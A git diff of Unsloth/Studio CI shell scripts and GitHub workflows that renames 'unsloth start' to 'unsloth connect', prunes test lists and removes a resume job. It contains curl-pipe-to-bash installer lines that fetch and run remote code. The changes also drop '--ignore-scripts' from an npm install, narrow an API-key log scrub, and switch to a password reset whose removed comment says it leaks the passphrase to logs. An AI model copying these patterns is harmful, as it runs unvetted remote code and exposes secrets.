--- a/.github/scripts/agent-guides-install.sh +++ b/.github/scripts/agent-guides-install.sh @@ -7,7 +7,7 @@ # is the single biggest source of false reds, so installs retry with # backoff and the only ::error:: this script can emit is class (b). The # install recipes mirror the install_hint strings in -# unsloth_cli/commands/start.py at HEAD. +# unsloth_cli/commands/connect.py at HEAD. # # Usage: agent-guides-install.sh # agent in: claude codex hermes openclaw opencode pi @@ -25,14 +25,13 @@ install_fail() { } # npm registry flakiness is common in CI; retry 3x with linear backoff. -# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg). npm_retry() { - local i + local pkg="$1" i for i in 1 2 3; do - if npm install -g "$@" >> "$LOG" 2>&1; then + if npm install -g "$pkg" >> "$LOG" 2>&1; then return 0 fi - echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" sleep "$((i * 10))" done return 1 @@ -61,30 +60,30 @@ curl_bash() { echo "[install] agent=$AGENT (log=$LOG)" case "$AGENT" in claude) - # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash + # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed" # The installer drops the binary under ~/.local/bin. echo "$HOME/.local/bin" >> "$GITHUB_PATH" ;; codex) - # start.py install_hint: npm install -g @openai/codex + # connect.py install_hint: npm install -g @openai/codex npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed" ;; opencode) - # start.py install_hint: npm install -g opencode-ai + # connect.py install_hint: npm install -g opencode-ai npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed" ;; openclaw) - # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash + # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash # npm is the more deterministic path in CI and matches the agent's docs; - # fall back to the start.py curl installer if the npm tag is missing. + # fall back to the connect.py curl installer if the npm tag is missing. if ! npm_retry "openclaw@latest"; then curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)" echo "$HOME/.local/bin" >> "$GITHUB_PATH" fi ;; hermes) - # start.py install_hint: + # connect.py install_hint: # curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \ --non-interactive --skip-setup --skip-browser --no-skills \ @@ -92,13 +91,11 @@ case "$AGENT" in echo "$HOME/.local/bin" >> "$GITHUB_PATH" ;; pi) - # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent - # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint - # catches guide drift). The CLI moved from the now-deprecated @mariozechner - # scope to @earendil-works (the old scope is frozen, so installing it would - # test a stale Pi against the API). - npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \ - || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed" + # No connect.py recipe; the agent's documented package name. The CLI moved + # from the now-deprecated @mariozechner scope to @earendil-works (the old + # scope is frozen, so installing it would test a stale Pi against the API). + npm_retry "@earendil-works/pi-coding-agent" \ + || install_fail "npm install -g @earendil-works/pi-coding-agent failed" ;; *) install_fail "unknown agent '$AGENT'" diff --git a/.github/scripts/assert-llama-loads.sh b/.github/scripts/assert-llama-loads.sh index 62ef80d364..c2ffe27469 100755 --- a/.github/scripts/assert-llama-loads.sh +++ b/.github/scripts/assert-llama-loads.sh @@ -2,7 +2,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # -# Assert Unsloth installed a llama.cpp that loads and runs on THIS macOS. Tests +# Assert Studio installed a llama.cpp that loads and runs on THIS macOS. Tests # the contract that matters (binaries load and their minimum-OS is <= this host) # instead of the old "did install.sh fall back to a source build?" grep, since a # source build with a correct deployment target is a valid outcome. diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.sh index 8c28569f77..f5b6b075eb 100755 --- a/.github/scripts/assert-prompt-cache.sh +++ b/.github/scripts/assert-prompt-cache.sh @@ -31,7 +31,7 @@ # (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/. # #

is the INTERNAL llama-server port (self._find_free_port(), -# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Unsloth port. So we must +# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Studio port. So we must # NOT filter the log glob by STUDIO_PORT (the brief's `port-` # glob would never match). We pick the newest llama-*.log instead. # diff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.sh index 6dec93356a..013a459f46 100755 --- a/.github/scripts/hf-download-with-retry.sh +++ b/.github/scripts/hf-download-with-retry.sh @@ -3,7 +3,7 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 # # Download a single file from a Hugging Face repo with a stall-retry -# watchdog. Used by the Unsloth CI workflows so a hung hf-xet transfer +# watchdog. Used by the Studio CI workflows so a hung hf-xet transfer # kills + retries instead of silently consuming the job's timeout. # # Usage: hf-download-with-retry.sh REPO FILE LOCAL_DIR @@ -35,7 +35,7 @@ REPO="${1:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}" FILE="${2:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}" # LOCAL_DIR is optional. If empty, hf falls back to HF_HUB_CACHE # (~/.cache/huggingface/hub) which is the desired path for callers -# that populate HF_HOME for a downstream Unsloth model load. +# that populate HF_HOME for a downstream Studio model load. LOCAL_DIR="${3:-}" # Stall threshold per attempt, in seconds. Override with diff --git a/.github/scripts/run-studio-permission-browser.sh b/.github/scripts/run-studio-permission-browser.sh deleted file mode 100755 index e5a9a4c135..0000000000 --- a/.github/scripts/run-studio-permission-browser.sh +++ /dev/null @@ -1,70 +0,0 @@ -#!/usr/bin/env bash -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. - -set -euo pipefail - -port="${1:?usage: $0 PORT BROWSER [CHANNEL]}" -browser="${2:?usage: $0 PORT BROWSER [CHANNEL]}" -channel="${3:-}" -slug="$browser${channel:+-$channel}" -artifact_dir="logs/playwright-permissions-$slug" -server_log="logs/studio-permissions-$slug.log" -studio_home="${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth/studio}" -set -- -if [ -n "${STUDIO_PERMISSION_FRONTEND:-}" ]; then - set -- -f "$STUDIO_PERMISSION_FRONTEND" -fi - -mkdir -p "$artifact_dir" -# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. -rm -rf "$studio_home/auth" -UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$port" "$@" \ - >"$server_log" 2>&1 & -studio_pid=$! - -cleanup() { - kill "$studio_pid" 2>/dev/null || true - wait "$studio_pid" 2>/dev/null || true -} -trap cleanup EXIT - -healthy=0 -for _ in $(seq 1 180); do - if curl -fs "http://127.0.0.1:$port/api/health" >/dev/null; then - healthy=1 - break - fi - if ! kill -0 "$studio_pid" 2>/dev/null; then - tail -100 "$server_log" || true - exit 1 - fi - sleep 1 -done -if [ "$healthy" -ne 1 ]; then - tail -100 "$server_log" || true - exit 1 -fi - -old_password=$(cat "$studio_home/auth/.bootstrap_password") -new_password="CIPerm-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')" -if [ "${GITHUB_ACTIONS:-}" = "true" ]; then - echo "::add-mask::$old_password" - echo "::add-mask::$new_password" -fi - -export BASE_URL="http://127.0.0.1:$port" -export STUDIO_OLD_PW="$old_password" -export STUDIO_NEW_PW="$new_password" -export STUDIO_UI_STRICT=1 -export STUDIO_UI_PERMISSION_ONLY=1 -export STUDIO_UI_WALL_TIMEOUT_S=240 -export STUDIO_PLAYWRIGHT_BROWSER="$browser" -export PW_ART_DIR="$artifact_dir" -if [ -n "$channel" ]; then - export STUDIO_PLAYWRIGHT_CHANNEL="$channel" -else - unset STUDIO_PLAYWRIGHT_CHANNEL || true -fi - -python tests/studio/playwright_chat_ui.py diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh index 6ac98ded7c..34b8b962c6 100755 --- a/.github/scripts/serve-unsloth-run.sh +++ b/.github/scripts/serve-unsloth-run.sh @@ -27,7 +27,7 @@ # # Outputs written to $GITHUB_ENV (and echoed): # UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner -# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth start` +# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth connect` # finds THIS server, not the hardcoded :8888) # UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity) # UNSLOTH_MODEL_ID the canonical id reported by /v1/models diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml index afad1b6c46..b56a6c2615 100644 --- a/.github/workflows/consolidated-tests-ci.yml +++ b/.github/workflows/consolidated-tests-ci.yml @@ -7,7 +7,7 @@ # # Why a separate workflow: # - studio-backend-ci.yml's "Repo tests (CPU)" job already auto-discovers -# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 17 +# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 16 # Bucket-A tests below live inside those --ignore dirs (CPU-runnable but # historically excluded with their GPU siblings); pulling them out into # a sibling job keeps the existing 760-passed baseline stable while we @@ -209,7 +209,7 @@ jobs: 'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \ ipython # torchvision: unsloth_zoo.vision_utils imports it at module scope. - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + pip install --index-url https://download.pytorch.org/whl/cpu \ 'torch>=2.4,<2.11' 'torchvision<0.26' # transformers + trl from the matrix combo. pip install "$RESOLVED_TRANSFORMERS_SPEC" @@ -268,13 +268,6 @@ jobs: tests/saving/test_save_shell_injection.py \ tests/saving/test_patch_saving_none_tokenizer.py \ tests/saving/test_fix_sentencepiece_gguf_robustness.py \ - tests/saving/test_fix_sentencepiece_tokenizer_guard.py \ - tests/saving/test_compressed_export_schemes.py \ - tests/saving/test_export_api_surface.py \ - tests/saving/test_export_dispatch.py \ - tests/saving/test_imatrix_export.py \ - tests/saving/test_gguf_single_pass_export.py \ - tests/saving/test_offline_gguf_vlm_tokenizer_7481.py \ tests/utils/test_attention_masks.py \ tests/utils/test_trunc_normal_patch.py \ tests/python/test_fast_language_model_text_only.py @@ -360,23 +353,14 @@ jobs: tests/saving/test_save_shell_injection.py \ tests/saving/test_patch_saving_none_tokenizer.py \ tests/saving/test_fix_sentencepiece_gguf_robustness.py \ - tests/saving/test_fix_sentencepiece_tokenizer_guard.py \ - tests/saving/test_compressed_export_schemes.py \ - tests/saving/test_export_api_surface.py \ - tests/saving/test_export_dispatch.py \ - tests/saving/test_imatrix_export.py \ - tests/saving/test_gguf_single_pass_export.py \ - tests/saving/test_offline_gguf_vlm_tokenizer_7481.py \ tests/utils/test_attention_masks.py \ tests/utils/test_trunc_normal_patch.py \ tests/python/test_fast_language_model_text_only.py \ - tests/test_bad_mappings_redirect.py \ - tests/test_prefetch_snapshot_scope.py \ - tests/test_gemma_2b_mapper_key.py \ - tests/test_raw_text_json_loading.py - # test_run_attention_flash_varlen_receives_window_and_softcap was deselected - # until attention_dispatch.py predefined flash_attn_varlen_func as None; it - # monkeypatches that name, so it no longer needs flash_attn on this runner. + --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap' + # The deselected test monkeypatches flash_attn_varlen_func, which is + # only bound on the module when `flash_attn` is importable. flash_attn + # requires CUDA + dev toolchain, which the CPU-only ubuntu-latest + # runner does not have. The other Bucket-A tests pass cleanly. - name: unsloth_zoo @ ${{ env.UNSLOTH_ZOO_REF }} — full pytest (CPU) # 106 of 111 test_* in unsloth_zoo are CPU-only. The two CUDA-skip @@ -2130,7 +2114,7 @@ jobs: pip show unsloth_zoo echo "::endgroup::" echo "Consolidated job done. Coverage:" - echo " - 17 unsloth Bucket-A tests under tests/saving/ + tests/utils/" + echo " - 16 unsloth Bucket-A tests under tests/saving/ + tests/utils/" echo " - unsloth_zoo @ ${UNSLOTH_ZOO_REF} pytest tests/ (5 GPU cases deselected)" echo " - unsloth_zoo.compiler.test_apply_fused_lm_head" @@ -2182,7 +2166,7 @@ jobs: python -m pip install --upgrade pip # Match the matrix job's torch path so unsloth_zoo's # `import torch` resolves to the same CPU build. - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + pip install --index-url https://download.pytorch.org/whl/cpu \ 'torch>=2.4,<2.11' 'torchvision<0.26' pip install \ 'numpy<3' protobuf sentencepiece \ diff --git a/.github/workflows/cross-platform-parity-ci.yml b/.github/workflows/cross-platform-parity-ci.yml index 45ce231743..4632794587 100644 --- a/.github/workflows/cross-platform-parity-ci.yml +++ b/.github/workflows/cross-platform-parity-ci.yml @@ -1,16 +1,18 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Runs installer parity and autostart opt-out tests across all three platforms. +# Runs tests/python/test_cross_platform_parity.py on Windows and macOS. # -# Why: the parity test guards that install.sh and install.ps1 stay in sync. -# It originally ran only on ubuntu-latest through studio-backend-ci.yml. -# On Windows, Path.read_text() defaults to the cp1252 locale encoding, so a -# non-cp1252 byte in install.sh raises UnicodeDecodeError even though Linux -# and macOS default to UTF-8. The reads were pinned to encoding="utf-8" in -# #6166; this matrix keeps that from silently regressing. Pure pytest, no GPU, -# sub-second, so the matrix is cheap. Linux also runs the POSIX rollback test -# under dash, matching the supported curl-to-sh installer path. +# Why: that test is the guard that install.sh and install.ps1 stay in +# sync, but today it only runs on ubuntu-latest (auto-discovered by +# studio-backend-ci.yml's "Repo tests (CPU)" job). The test reads both +# installer scripts, and on Windows Path.read_text() defaults to the +# cp1252 locale encoding, so a non-cp1252 byte in install.sh (it already +# contains a U+274C) raises UnicodeDecodeError there even though Linux and +# macOS default to UTF-8. The reads were pinned to encoding="utf-8" in +# #6166; this job keeps that from silently regressing by exercising the +# test on the platforms it claims parity for. Pure pytest, no GPU, +# sub-second, so the matrix is cheap. name: Cross-platform parity @@ -19,20 +21,14 @@ on: paths: - 'install.sh' - 'install.ps1' - - 'tests/test_installer_skip_autostart.py' - 'tests/python/test_cross_platform_parity.py' - - 'tests/sh/test_install_rollback_lifecycle.sh' - - 'tests/studio/test_install_rollback_lifecycle.ps1' - '.github/workflows/cross-platform-parity-ci.yml' push: branches: [main] paths: - 'install.sh' - 'install.ps1' - - 'tests/test_installer_skip_autostart.py' - 'tests/python/test_cross_platform_parity.py' - - 'tests/sh/test_install_rollback_lifecycle.sh' - - 'tests/studio/test_install_rollback_lifecycle.ps1' - '.github/workflows/cross-platform-parity-ci.yml' workflow_dispatch: @@ -49,7 +45,7 @@ jobs: strategy: fail-fast: false matrix: - os: [ubuntu-latest, windows-latest, macos-latest] + os: [windows-latest, macos-latest] runs-on: ${{ matrix.os }} timeout-minutes: 10 steps: @@ -61,18 +57,5 @@ jobs: python-version: '3.12' cache: 'pip' - run: python -m pip install -U pip pytest - - name: Cross-platform parity tests - env: - UNSLOTH_NO_TORCH: '1' - run: >- - python -m pytest - tests/python/test_cross_platform_parity.py - tests/test_installer_skip_autostart.py - -q - - name: PowerShell rollback lifecycle tests - if: runner.os == 'Windows' - shell: pwsh - run: pwsh -NoProfile -File tests/studio/test_install_rollback_lifecycle.ps1 - - name: POSIX rollback lifecycle tests - if: runner.os == 'Linux' - run: sh tests/sh/test_install_rollback_lifecycle.sh + - name: Cross-platform parity test + run: python -m pytest tests/python/test_cross_platform_parity.py -q diff --git a/.github/workflows/lint-ci.yml b/.github/workflows/lint-ci.yml index e1f0afd299..bd859a6e9e 100644 --- a/.github/workflows/lint-ci.yml +++ b/.github/workflows/lint-ci.yml @@ -13,10 +13,10 @@ # committed YAML / JSON config. # # TypeScript and Rust are NOT duplicated here on purpose: -# - Unsloth Frontend CI runs `npm run typecheck` (= `tsc --noEmit`) +# - Studio Frontend CI runs `npm run typecheck` (= `tsc --noEmit`) # and `npm run build` (vite/swc) on every studio/frontend/** # change, which is a full TS AST + type check. -# - Unsloth Tauri CI runs `tauri build --debug --no-bundle` on +# - Studio Tauri CI runs `tauri build --debug --no-bundle` on # every studio/src-tauri/** or studio/frontend/** change, which # compiles the Rust crate (= cargo check + cargo build). # Each is a stricter check than a parse-only step would be, so a diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml index 0dc0cc66d7..299ee3f18b 100644 --- a/.github/workflows/local-agent-guides-ci.yml +++ b/.github/workflows/local-agent-guides-ci.yml @@ -6,27 +6,29 @@ # Detects when our local-agent setup recipes drift out of sync with # `unsloth run`. Boots a real `unsloth run --disable-tools` server and # drives the coding agents end to end through the *exact* recipes defined -# in unsloth_cli/commands/start.py (the in-repo source of truth -- there -# is no docs/ tree). Wherever start.py has a recipe we drive the agent -# via `unsloth start --no-launch` and execute what it prints, so -# the test self-updates against start.py and catches silent recipe drift. +# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there +# is no docs/ tree). Wherever connect.py has a recipe we drive the agent +# via `unsloth connect --no-launch` and execute what it prints, so +# the test self-updates against connect.py and catches silent recipe drift. # # Source-of-truth files this workflow guards: -# unsloth_cli/commands/start.py the `unsloth start ` recipes +# unsloth_cli/commands/connect.py the `unsloth connect ` recipes # unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line) # # Failure taxonomy (each surfaced with a distinct ::error:: + the agent name -# + the start.py location, so a red X is immediately triageable): +# + the connect.py location, so a red X is immediately triageable): # (a) Unsloth server/API regression -- the dialect HTTP preflight fails # BEFORE the agent runs (or the server never becomes healthy). # (b) Agent package install failed -- npm/curl install of the CLI failed. # (c) Guide drift -- preflight passed + install ok, but -# the documented `unsloth start` flow produced no/garbled output. +# the documented `unsloth connect` flow produced no/garbled output. # # Agents covered (6): claude, codex, hermes, openclaw, opencode, pi. -# - All six have a `unsloth start ` recipe, so each cell obtains its -# env + command from `unsloth start --no-launch` and runs THAT -# (self-updating: a recipe change is exercised automatically). +# - claude/codex/hermes/openclaw/opencode have a connect.py recipe. +# - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is +# driven by a hand-written recipe and the matrix cell asserts that the +# missing connect recipe is the (known) reason, so the day connect.py +# grows a `pi` command this cell flips to the self-updating path. name: Local Agent Guides CI @@ -81,7 +83,7 @@ jobs: # ═════════════════════════════════════════════════════════════════════ # Job 1: connection # Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect, - # install the agent, run `unsloth start --no-launch`, execute + # install the agent, run `unsloth connect --no-launch`, execute # the emitted recipe with a trivial prompt, assert a non-empty reply. # Runs on PR + weekly + dispatch. Each matrix cell is its own runner so # it serves exactly one model on its own port. @@ -101,9 +103,7 @@ jobs: env: # gemma-4-E4B (128K context, capable enough to drive every agent for a # trivial reply; the 270m model produced empty/failed responses for - # codex/openclaw). Hermes' 64K context floor no longer constrains the model - # choice: write_hermes_config claims the floor for smaller windows and - # scales compaction back to the real window. Served as a flat + # codex/openclaw and is below hermes' 64K context floor). Served as a flat # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B). GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf @@ -154,7 +154,7 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Gated off PR (see note above); public GGUF still downloads. @@ -167,9 +167,7 @@ jobs: # ── boot the server under test (factored helper) ────────────────── - name: Serve unsloth run --disable-tools (gemma-4-E4B) run: | - # Wipe, not reset-password: since #7573 the reset rotates in place and - # prints the new passphrase, which would land unmasked in the job log. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password bash .github/scripts/serve-unsloth-run.sh \ --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ --port "$STUDIO_PORT" --log-dir logs \ @@ -211,7 +209,7 @@ jobs: ;; *) # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). - # OpenClaw's start.py recipe writes an "openai-completions" + # OpenClaw's connect.py recipe writes an "openai-completions" # provider (write_openclaw_config), so it uses this path, not # /v1/messages. code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ @@ -229,13 +227,13 @@ jobs: AGENT: ${{ matrix.agent }} run: bash .github/scripts/agent-guides-install.sh "$AGENT" - # ── (c) drive the agent via start.py and assert a reply ────────── - # For the 5 agents with a start.py recipe we run - # `unsloth start --no-launch`, eval its env/unset exports, + # ── (c) drive the agent via connect.py and assert a reply ────────── + # For the 5 agents with a connect.py recipe we run + # `unsloth connect --no-launch`, eval its env/unset exports, # then run the printed command with a hard timeout (no headless-TTY # hang). Pi has no connect recipe, so it is driven by hand and the # cell asserts that absence is the (known) reason. - - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation) + - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation) env: AGENT: ${{ matrix.agent }} run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT" @@ -250,15 +248,13 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. - # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and - # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi - - name: Stop Unsloth + - name: Stop Studio if: always() run: | # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make @@ -361,7 +357,7 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Gated off PR (see note above); public GGUF still downloads. @@ -373,7 +369,7 @@ jobs: - name: Serve unsloth run --disable-tools (gemma-4-E4B) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password bash .github/scripts/serve-unsloth-run.sh \ --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ --port "$STUDIO_PORT" --log-dir logs \ @@ -442,15 +438,13 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. - # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and - # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi - - name: Stop Unsloth + - name: Stop Studio if: always() run: | # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make @@ -473,176 +467,6 @@ jobs: redacted-configs/ retention-days: 7 - # ═════════════════════════════════════════════════════════════════════ - # Job: resume - # Does a conversation started with `unsloth start ` survive exit - # and resume? This drives the REAL launch path (not the --no-launch - # recipe the other jobs use). A plain launch relocates the agent home to - # a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the - # session to the stable Unsloth agents dir so it persists. opencode/claude - # keep their session data in a fixed user dir, so they persist either way. - # Dispatch-only: it is an end-to-end experiment, not a PR gate. - # ═════════════════════════════════════════════════════════════════════ - resume: - name: resume (${{ matrix.agent }}) - if: github.event_name == 'workflow_dispatch' - runs-on: ubuntu-latest - timeout-minutes: 60 - strategy: - fail-fast: false - matrix: - # codex/pi relocate their whole home (resume broken without --persist); - # opencode/claude keep session data in a fixed dir (resume already works). - # One agent from each class proves the split end to end; openclaw/hermes - # share codex's relocation mechanism and are covered by the unit tests. - agent: [codex, opencode, claude, pi] - env: - GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF - GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf - STUDIO_PORT: '18904' - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - persist-credentials: false - - - name: Linux deps for llama.cpp prebuilt - run: | - sudo apt-get update - sudo apt-get install -y --no-install-recommends \ - libcurl4-openssl-dev libssl-dev jq - - - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 - with: - node-version: '22' - - - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 - with: - python-version: '3.12' - cache: 'pip' - - - name: Restore GGUF model file - id: cache-gguf - uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 - continue-on-error: true - with: - path: gguf-cache - key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - - name: Download GGUF if cache miss - id: download-gguf - if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - run: | - python -m pip install --upgrade huggingface_hub - mkdir -p gguf-cache - bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache - - - name: Save GGUF model file - if: always() && steps.download-gguf.outcome == 'success' - uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 - with: - path: gguf-cache - key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - - name: Install Unsloth (--local, --no-torch) - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} - run: | - mkdir -p logs - set -o pipefail - bash install.sh --local --no-torch 2>&1 | tee logs/install.log - - - name: Serve unsloth run --disable-tools (gemma-4-E4B) - run: | - rm -rf ~/.unsloth/studio/auth - bash .github/scripts/serve-unsloth-run.sh \ - --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ - --port "$STUDIO_PORT" --log-dir logs \ - --extra "--seed $UNSLOTH_SEED --temp 0" \ - --health-timeout 900 - - - name: Preflight the agent's API dialect (class-a isolation) - env: - AGENT: ${{ matrix.agent }} - run: | - set -uo pipefail - B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" - preflight_fail() { - echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**."; - exit 1 - } - code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ - -H "Authorization: Bearer $K") || true - [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" - case "$AGENT" in - claude) - code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ - -H "Authorization: Bearer $K" -H 'content-type: application/json' \ - --max-time 120 \ - -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true - [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" - ;; - codex) - code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ - -H "Authorization: Bearer $K" -H 'content-type: application/json' \ - --max-time 120 \ - -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true - [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" - ;; - *) - code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ - -H "Authorization: Bearer $K" -H 'content-type: application/json' \ - --max-time 120 \ - -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true - [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" - ;; - esac - echo "preflight OK for $AGENT" - - - name: Install agent CLI (class-b isolation) - env: - AGENT: ${{ matrix.agent }} - run: bash .github/scripts/agent-guides-install.sh "$AGENT" - - - name: Resume experiment (launch path) - env: - AGENT: ${{ matrix.agent }} - run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT" - - - name: Collect server logs (debug) - if: always() - run: | - mkdir -p logs/studio-logs - cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true - if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do - sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true - done - fi - - - name: Stop Unsloth - if: always() - run: | - if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then - kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true - fi - sleep 2 - ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true - - - name: Upload logs - if: always() - continue-on-error: true - uses: 